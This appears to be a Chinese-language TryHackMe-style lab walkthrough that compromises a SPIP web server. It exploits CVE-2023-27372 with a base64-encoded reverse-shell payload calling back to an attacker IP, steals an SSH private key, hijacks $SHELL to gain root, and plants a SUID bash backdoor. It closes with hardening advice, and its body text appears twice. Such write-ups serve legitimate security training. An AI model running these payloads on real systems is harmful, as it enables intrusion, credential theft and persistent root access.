Publisher TryHackMe
字数 4552 2025-11-08 10:04:01

渗透测试实战教学:从Web漏洞到容器逃逸提权

文档版本: 1.0
目标读者: 具备一定Linux和网络安全基础的渗透测试学习者
教学目标: 通过一个真实案例,掌握综合运用信息收集、漏洞利用、权限提升和容器逃逸技术的完整流程。


第一阶段:信息收集与侦查

任何渗透测试的开始都是尽可能多地收集目标信息。

1. 端口扫描
虽然原文未明确提及初始的端口扫描命令,但根据后续操作,可以推断出目标开放了80端口(HTTP服务)。通常我们会使用 nmap 进行初步侦查。

  • 教学命令示例:
    nmap -sS -sV -O 10.201.99.17
    
  • 命令解释:
    • -sS: TCP SYN 扫描,一种快速且相对隐蔽的扫描方式。
    • -sV: 版本探测,尝试识别运行在开放端口上的服务及其版本。
    • -O: 操作系统探测。
  • 关键点: 信息收集的全面性决定了后续攻击面的宽度。务必记录所有开放的端口和服务版本。

2. 目录枚举
发现80端口的Web服务后,下一步是寻找隐藏的目录或文件,这常常是应用的入口点或配置泄露点。

  • 实战命令:
    gobuster dir -u http://10.201.99.17/ -w directory-list-2.3-medium.txt
    
  • 命令解释:
    • gobuster: 一款用Go语言编写的目录/子域名爆破工具。
    • dir: 指定使用目录爆破模式。
    • -u http://10.201.99.17/: 指定目标URL。
    • -w directory-list-2.3-medium.txt: 指定用于爆破的字典文件。directory-list-2.3-medium.txt 是一个常用的字典,包含大量常见的目录名。
  • 关键点: 选择合适的字典至关重要。对于不同类型的应用(如博客、管理后台、API接口),可能需要使用专门的字典。

3. 应用指纹识别
访问扫描到的目录后,发现这是一个使用 SPIP 搭建的网站。SPIP是一个法国流行的开源内容发布系统。

  • 关键点: 识别出具体的技术栈(如CMS、框架、编程语言)后,就可以有针对性地搜索该技术的已知漏洞。

第二阶段:漏洞利用与初始访问

1. 漏洞搜索与确认
搜索“SPIP 漏洞”,发现存在 CVE-2023-27372。这是一个高危的远程代码执行漏洞,影响特定版本的SPIP。

  • 漏洞原理简述: 该漏洞源于SPIP对用户输入的反序列化处理不当,攻击者可以构造恶意的序列化字符串,在目标服务器上执行任意PHP代码。
  • 关键点: 在利用公开漏洞前,务必在测试环境中验证其有效性和影响范围,避免对目标系统造成意外损害。

2. 构造并执行Payload
利用漏洞的关键是构造能够被服务器解析并执行的恶意载荷。

  • 实战Payload分析:
    1. 基础验证Payload: oubli=s:19:"<?php phpinfo(); ?>";

      • 这是一个简单的反序列化Payload,如果漏洞存在,服务器会执行 phpinfo() 函数,泄露大量服务器配置信息。这常用于漏洞验证。
    2. 反向Shell Payload:

      93:"<?Php system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== |base64 -d|bash'); ?>"
      
      • 核心技巧(Base64编码): 为了绕过可能的字符过滤或编码问题,将真正的攻击指令用Base64编码。
      • 解码后命令: echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== | base64 -d | bash 这行命令会解码Base64字符串并交给bash执行。
      • 解码真正的Payload: c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== 解码后是 sh -i >& /dev/tcp/10.4.8.68/4444 0>&1
      • 反向Shell原理: 这条命令会在目标机器上启动一个交互式Shell,并将其输入/输出重定向到攻击者机器的 10.4.8.68:4444 端口。攻击者需要提前在本机使用 nc -lvnp 4444 监听该端口,等待连接。
  • 关键点: 反向Shell是突破网络边界(如防火墙)的常用技术,因为它是由内网服务器主动连接外网攻击者,通常比攻击者直接连接内网服务更容易成功。

3. 获取初始Shell
Payload执行成功后,攻击者的nc监听端会接收到来自目标的连接,获得一个初始的Shell会话,权限是Web服务进程用户(本例中是 www-data)。


第三阶段:权限提升 - 从 www-data 到 think

在低权限Shell中,目标是获取更高权限用户的访问权。

1. 初步信息收集(目标系统内部)

  • 查看日志: 作者提到查看日志发现提示“没有密钥了”,这可能意味着系统有生成或使用密钥的机制,这往往是提权的线索。
  • 枚举用户: 通过查看 /etc/passwd 文件,发现系统中存在 rootthink 两个用户。
  • 关键点: 在Linux中,提权的路径常常是:www-data -> 普通用户(think) -> root。首先需要获取一个普通用户的权限。

2. 获取用户think的SSH私钥

  • 发现密钥:/home/think/.ssh/ 目录下发现了 id_rsa 文件,这是SSH的私钥文件。
  • 操作步骤:
    1. id_rsa 文件内容复制到攻击者本地机器的一个文件中(例如 think_key)。
    2. 修改私钥文件的权限为600,确保只有所有者可读:chmod 600 think_key
    3. 使用私钥登录到目标机的 think 用户:ssh -i think_key think@10.201.99.17
  • 关键点: SSH私钥是极其敏感的文件。管理员错误地将私钥留在可被低权限用户读取的位置,是一种常见的安全配置错误。成功登录后,我们找到了第一个标志文件 user.txt

第四阶段:权限提升 - 从 think 到 root(容器环境逃逸)

这是本次渗透测试中最具技术含量的部分,涉及对特殊系统文件的深入分析。

1. 发现可疑的可执行文件
在枚举系统时,发现了一个不寻常的可执行文件 /usr/sbin/run_container。通常,/usr/sbin 存放系统管理程序,而 run_container 这个名字强烈暗示目标系统可能运行在容器内。

  • 关键点: 容器环境下的提权(容器逃逸)与物理机/虚拟机上的提权思路有所不同,需要寻找容器与宿主机之间的安全边界弱点。

2. 分析可疑文件
使用 strings 命令查看 /usr/sbin/run_container 的可打印字符串。

  • 实战命令: strings /usr/sbin/run_container
  • 发现: 分析结果显示,该程序会使用 /bin/bash 来执行另一个脚本 /opt/run_container.sh
  • 关键点: strings 是一个快速进行初步逆向分析的工具,无需深究二进制代码即可获取关键信息。

3. 环境侦察与尝试

  • 检查Shell环境: 执行 echo $SHELL 发现当前Shell是 /usr/sbin/ash(一个轻量级Shell,常用于容器环境)。这表明我们确实在一个受限的容器环境中。
  • 尝试修改脚本: 尝试直接修改 /opt/run_container.sh 来达到提权目的(例如,添加 chmod +s /bin/bash 给bash赋予SUID权限),但发现没有写入权限。
  • 关键点: 遇到障碍时,需要灵活变通。既然不能直接写脚本,就思考程序是如何调用这个脚本的。

4. 利用Shell劫持进行容器逃逸
这是本次攻击的精髓所在。作者利用了环境变量 $SHELL 和程序的执行逻辑。

  • 攻击原理:

    1. /usr/sbin/run_container 程序在内部通过 system() 或类似函数调用 /bin/bash /opt/run_container.sh
    2. 在某些实现中,如果调用路径不是绝对路径,或者Shell的启动方式有问题,程序可能会依赖 $SHELL 环境变量来寻找解释器。
    3. 攻击者可以控制 $SHELL 环境变量,将其指向一个恶意的自定义脚本。
  • 实战步骤:

    1. 创建恶意“Shell”脚本:
      echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/test.pl
      chmod +x /dev/shm/test.pl
      
      • 这个Perl脚本的作用是执行 /bin/sh。我们将其作为我们的“假Shell”。
    2. 劫持SHELL环境变量:
      export SHELL=/dev/shm/test.pl
      
      • 这会告诉系统,当前用户的默认Shell是我们刚创建的恶意脚本。
    3. 执行目标程序: 运行 /usr/sbin/run_container
      • 程序在启动Bash来执行脚本时,可能因为环境变量的设置,实际执行的是 /dev/shm/test.pl
      • /dev/shm/test.pl 执行后,会启动一个 /bin/sh 进程。关键在于,这个新进程可能会继承更高的权限,例如root权限,因为 /usr/sbin/run_container 很可能是一个以root权限运行的程序(SUID或由root的cron任务触发)。
  • 关键点: 这种技术被称为“Shell逃逸”或“环境变量劫持”。其成功取决于目标程序的编写方式以及它对环境变量的信任程度。在容器环境中,由于为了轻量化而缺少完整的安全机制,这种攻击更容易成功。

5. 完成提权
通过Shell劫持获得root权限的Shell后,最后的操作就很简单了:

  1. 此时已经可以自由修改 /opt/run_container.sh
  2. 写入提权命令:echo -e '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh。这条命令会给 /bin/bash 设置SUID位,从而建立一个持久的后门。
  3. 再次执行 /usr/sbin/run_container 使脚本生效。之后,任何用户执行 /bin/bash -p 都可以获得一个root Shell。

最终,成功获取系统最高权限,渗透测试目标完成。


总结与反思

本次实战演练涵盖了现代渗透测试的核心阶段:

  1. 信息收集: 使用 nmap, gobuster 等工具。
  2. 漏洞研究与应用: 针对SPIP的CVE-2023-27372漏洞进行研究和利用,使用Base64编码和反向Shell技术。
  3. 横向移动: 通过窃取SSH私钥从 www-data 权限提升到 think 用户权限。
  4. 纵向提权(容器逃逸): 通过分析二进制文件、利用环境变量劫持(Shell逃逸)技术,从容器内的普通用户权限提升到宿主机(或更高权限容器)的root权限。

安全建议:

  • 及时更新: 尽快为SPIP等第三方组件打上安全补丁。
  • 最小权限原则: Web服务应使用低权限用户运行,并严格限制其对系统文件的访问。
  • 安全配置: 避免将SSH私钥等敏感信息存放在可被其他用户访问的位置。
  • 安全开发: 在编写特权程序时,应使用绝对路径,并在调用子进程时清空或严格校验环境变量。
  • 容器安全: 容器应以非root用户运行,并减少不必要的权限和能力。
渗透测试实战教学:从Web漏洞到容器逃逸提权 文档版本: 1.0 目标读者: 具备一定Linux和网络安全基础的渗透测试学习者 教学目标: 通过一个真实案例,掌握综合运用信息收集、漏洞利用、权限提升和容器逃逸技术的完整流程。 第一阶段:信息收集与侦查 任何渗透测试的开始都是尽可能多地收集目标信息。 1. 端口扫描 虽然原文未明确提及初始的端口扫描命令,但根据后续操作,可以推断出目标开放了80端口(HTTP服务)。通常我们会使用 nmap 进行初步侦查。 教学命令示例: 命令解释: -sS : TCP SYN 扫描,一种快速且相对隐蔽的扫描方式。 -sV : 版本探测,尝试识别运行在开放端口上的服务及其版本。 -O : 操作系统探测。 关键点: 信息收集的全面性决定了后续攻击面的宽度。务必记录所有开放的端口和服务版本。 2. 目录枚举 发现80端口的Web服务后,下一步是寻找隐藏的目录或文件,这常常是应用的入口点或配置泄露点。 实战命令: 命令解释: gobuster : 一款用Go语言编写的目录/子域名爆破工具。 dir : 指定使用目录爆破模式。 -u http://10.201.99.17/ : 指定目标URL。 -w directory-list-2.3-medium.txt : 指定用于爆破的字典文件。 directory-list-2.3-medium.txt 是一个常用的字典,包含大量常见的目录名。 关键点: 选择合适的字典至关重要。对于不同类型的应用(如博客、管理后台、API接口),可能需要使用专门的字典。 3. 应用指纹识别 访问扫描到的目录后,发现这是一个使用 SPIP 搭建的网站。SPIP是一个法国流行的开源内容发布系统。 关键点: 识别出具体的技术栈(如CMS、框架、编程语言)后,就可以有针对性地搜索该技术的已知漏洞。 第二阶段:漏洞利用与初始访问 1. 漏洞搜索与确认 搜索“SPIP 漏洞”,发现存在 CVE-2023-27372 。这是一个高危的远程代码执行漏洞,影响特定版本的SPIP。 漏洞原理简述: 该漏洞源于SPIP对用户输入的反序列化处理不当,攻击者可以构造恶意的序列化字符串,在目标服务器上执行任意PHP代码。 关键点: 在利用公开漏洞前,务必在测试环境中验证其有效性和影响范围,避免对目标系统造成意外损害。 2. 构造并执行Payload 利用漏洞的关键是构造能够被服务器解析并执行的恶意载荷。 实战Payload分析: 基础验证Payload: oubli=s:19:"<?php phpinfo(); ?>"; 这是一个简单的反序列化Payload,如果漏洞存在,服务器会执行 phpinfo() 函数,泄露大量服务器配置信息。这常用于漏洞验证。 反向Shell Payload: 核心技巧(Base64编码): 为了绕过可能的字符过滤或编码问题,将真正的攻击指令用Base64编码。 解码后命令: echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== | base64 -d | bash 这行命令会解码Base64字符串并交给 bash 执行。 解码真正的Payload: c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== 解码后是 sh -i >& /dev/tcp/10.4.8.68/4444 0>&1 。 反向Shell原理: 这条命令会在目标机器上启动一个交互式Shell,并将其输入/输出重定向到攻击者机器的 10.4.8.68:4444 端口。攻击者需要提前在本机使用 nc -lvnp 4444 监听该端口,等待连接。 关键点: 反向Shell是突破网络边界(如防火墙)的常用技术,因为它是由内网服务器主动连接外网攻击者,通常比攻击者直接连接内网服务更容易成功。 3. 获取初始Shell Payload执行成功后,攻击者的 nc 监听端会接收到来自目标的连接,获得一个初始的Shell会话,权限是Web服务进程用户(本例中是 www-data )。 第三阶段:权限提升 - 从 www-data 到 think 在低权限Shell中,目标是获取更高权限用户的访问权。 1. 初步信息收集(目标系统内部) 查看日志: 作者提到查看日志发现提示“没有密钥了”,这可能意味着系统有生成或使用密钥的机制,这往往是提权的线索。 枚举用户: 通过查看 /etc/passwd 文件,发现系统中存在 root 和 think 两个用户。 关键点: 在Linux中,提权的路径常常是: www-data -> 普通用户(think) -> root 。首先需要获取一个普通用户的权限。 2. 获取用户think的SSH私钥 发现密钥: 在 /home/think/.ssh/ 目录下发现了 id_rsa 文件,这是SSH的私钥文件。 操作步骤: 将 id_rsa 文件内容复制到攻击者本地机器的一个文件中(例如 think_key )。 修改私钥文件的权限为600,确保只有所有者可读: chmod 600 think_key 。 使用私钥登录到目标机的 think 用户: ssh -i think_key think@10.201.99.17 。 关键点: SSH私钥是极其敏感的文件。管理员错误地将私钥留在可被低权限用户读取的位置,是一种常见的安全配置错误。成功登录后,我们找到了第一个标志文件 user.txt 。 第四阶段:权限提升 - 从 think 到 root(容器环境逃逸) 这是本次渗透测试中最具技术含量的部分,涉及对特殊系统文件的深入分析。 1. 发现可疑的可执行文件 在枚举系统时,发现了一个不寻常的可执行文件 /usr/sbin/run_container 。通常, /usr/sbin 存放系统管理程序,而 run_container 这个名字强烈暗示目标系统可能运行在容器内。 关键点: 容器环境下的提权(容器逃逸)与物理机/虚拟机上的提权思路有所不同,需要寻找容器与宿主机之间的安全边界弱点。 2. 分析可疑文件 使用 strings 命令查看 /usr/sbin/run_container 的可打印字符串。 实战命令: strings /usr/sbin/run_container 发现: 分析结果显示,该程序会使用 /bin/bash 来执行另一个脚本 /opt/run_container.sh 。 关键点: strings 是一个快速进行初步逆向分析的工具,无需深究二进制代码即可获取关键信息。 3. 环境侦察与尝试 检查Shell环境: 执行 echo $SHELL 发现当前Shell是 /usr/sbin/ash (一个轻量级Shell,常用于容器环境)。这表明我们确实在一个受限的容器环境中。 尝试修改脚本: 尝试直接修改 /opt/run_container.sh 来达到提权目的(例如,添加 chmod +s /bin/bash 给bash赋予SUID权限),但发现没有写入权限。 关键点: 遇到障碍时,需要灵活变通。既然不能直接写脚本,就思考程序是如何调用这个脚本的。 4. 利用Shell劫持进行容器逃逸 这是本次攻击的精髓所在。作者利用了环境变量 $SHELL 和程序的执行逻辑。 攻击原理: /usr/sbin/run_container 程序在内部通过 system() 或类似函数调用 /bin/bash /opt/run_container.sh 。 在某些实现中,如果调用路径不是绝对路径,或者Shell的启动方式有问题,程序可能会依赖 $SHELL 环境变量来寻找解释器。 攻击者可以控制 $SHELL 环境变量,将其指向一个恶意的自定义脚本。 实战步骤: 创建恶意“Shell”脚本: 这个Perl脚本的作用是执行 /bin/sh 。我们将其作为我们的“假Shell”。 劫持SHELL环境变量: 这会告诉系统,当前用户的默认Shell是我们刚创建的恶意脚本。 执行目标程序: 运行 /usr/sbin/run_container 。 程序在启动Bash来执行脚本时,可能因为环境变量的设置,实际执行的是 /dev/shm/test.pl 。 /dev/shm/test.pl 执行后,会启动一个 /bin/sh 进程。 关键在于,这个新进程可能会继承更高的权限,例如root权限 ,因为 /usr/sbin/run_container 很可能是一个以root权限运行的程序(SUID或由root的cron任务触发)。 关键点: 这种技术被称为“Shell逃逸”或“环境变量劫持”。其成功取决于目标程序的编写方式以及它对环境变量的信任程度。在容器环境中,由于为了轻量化而缺少完整的安全机制,这种攻击更容易成功。 5. 完成提权 通过Shell劫持获得root权限的Shell后,最后的操作就很简单了: 此时已经可以自由修改 /opt/run_container.sh 。 写入提权命令: echo -e '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh 。这条命令会给 /bin/bash 设置SUID位,从而建立一个持久的后门。 再次执行 /usr/sbin/run_container 使脚本生效。之后,任何用户执行 /bin/bash -p 都可以获得一个root Shell。 最终,成功获取系统最高权限,渗透测试目标完成。 总结与反思 本次实战演练涵盖了现代渗透测试的核心阶段: 信息收集: 使用 nmap , gobuster 等工具。 漏洞研究与应用: 针对SPIP的CVE-2023-27372漏洞进行研究和利用,使用Base64编码和反向Shell技术。 横向移动: 通过窃取SSH私钥从 www-data 权限提升到 think 用户权限。 纵向提权(容器逃逸): 通过分析二进制文件、利用环境变量劫持(Shell逃逸)技术,从容器内的普通用户权限提升到宿主机(或更高权限容器)的root权限。 安全建议: 及时更新: 尽快为SPIP等第三方组件打上安全补丁。 最小权限原则: Web服务应使用低权限用户运行,并严格限制其对系统文件的访问。 安全配置: 避免将SSH私钥等敏感信息存放在可被其他用户访问的位置。 安全开发: 在编写特权程序时,应使用绝对路径,并在调用子进程时清空或严格校验环境变量。 容器安全: 容器应以非root用户运行,并减少不必要的权限和能力。